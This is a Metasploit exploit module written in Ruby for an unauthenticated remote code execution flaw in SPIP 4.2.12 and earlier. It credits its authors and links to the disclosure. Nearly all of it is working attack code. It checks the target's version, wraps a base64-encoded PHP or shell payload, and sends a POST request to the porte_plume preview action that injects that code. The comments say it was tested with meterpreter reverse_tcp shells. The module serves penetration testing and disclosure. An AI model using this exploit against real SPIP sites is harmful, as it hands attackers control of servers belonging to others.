SPIP 4.2.12 Remote Code Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Payload::Php  include Msf::Exploit::Remote::HttpClient  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'SPIP Unauthenticated RCE via porte_plume Plugin',        'Description' => %q{          This module exploits a Remote Code Execution vulnerability in SPIP versions up to and including 4.2.12.          The vulnerability occurs in SPIP’s templating system where it incorrectly handles user-supplied input,          allowing an attacker to inject and execute arbitrary PHP code. This can be achieved by crafting a          payload manipulating the templating data processed by the `echappe_retour()` function, invoking          `traitements_previsu_php_modeles_eval()`, which contains an `eval()` call.        },        'Author' => [          'Valentin Lobstein',  # Metasploit module author          'Laluka',             # Vulnerability discovery          'Julien Voisin'       # Review        ],        'License' => MSF_LICENSE,        'References' => [          ['URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-3-0-alpha2-SPIP-4-2-13-SPIP-4.html'],          ['URL', 'https://thinkloveshare.com/hacking/spip_preauth_rce_2024_part_1_the_feather']        ],        'Platform' => ['php', 'unix', 'linux', 'win'],        'Arch' => [ARCH_PHP, ARCH_CMD],        'Targets' => [          [            'PHP In-Memory', {              'Platform' => 'php',              'Arch' => ARCH_PHP              # tested with php/meterpreter/reverse_tcp            }          ],          [            'Unix/Linux Command Shell', {              'Platform' => ['unix', 'linux'],              'Arch' => ARCH_CMD              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp            }          ],          [            'Windows Command Shell', {              'Platform' => 'win',              'Arch' => ARCH_CMD              # tested with cmd/windows/http/x64/meterpreter/reverse_tcp            }          ]        ],        'DefaultTarget' => 0,        'Privileged' => false,        'DisclosureDate' => '2024-08-16',        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )  end  def check    uri = normalize_uri(target_uri.path, 'spip.php')    res = send_request_cgi({ 'uri' => uri.to_s })    return Exploit::CheckCode::Unknown('Target is unreachable.') unless res    return Exploit::CheckCode::Unknown("Target responded with unexpected HTTP response code: #{res.code}") unless res.code == 200    version_string = res.get_html_document.at('head/meta[@name="generator"]/@content')&.text    return Exploit::CheckCode::Unknown('Unable to find the version string on the page: spip.php') unless version_string =~ /SPIP (.*)/    version = ::Regexp.last_match(1)    if version.nil? && res.headers['Composed-By'] =~ /SPIP (.*) @/      version = ::Regexp.last_match(1)    end    return Exploit::CheckCode::Unknown('Unable to determine the version of SPIP') unless version    print_status("SPIP Version detected: #{version}")    if Rex::Version.new(version) > Rex::Version.new('4.2.12')      return CheckCode::Safe("The detected SPIP version (#{version}) is not vulnerable.")    end    return CheckCode::Appears("The detected SPIP version (#{version}) is vulnerable.")  end  def php_exec_cmd(encoded_payload)    dis = '$' + Rex::Text.rand_text_alpha(rand(4..7))    encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)    shell = <<-END_OF_PHP_CODE        #{php_preamble(disabled_varname: dis)}        $c = base64_decode("#{encoded_clean_payload}");        #{php_system_block(cmd_varname: '$c', disabled_varname: dis)}    END_OF_PHP_CODE    return shell  end  def exploit    print_status('Preparing to send exploit payload to the target...')    phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)    b64_payload = framework.encoders.create('php/base64').encode(phped_payload)    payload = "[<img#{Rex::Text.rand_text_numeric(8)}>->URL`<?php #{b64_payload} ?>`]"    print_status('Sending exploit payload to the target...')    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'spip.php'),      'vars_get' => {        'action' => 'porte_plume_previsu'      },      'data' => "data=#{payload}"    })  endend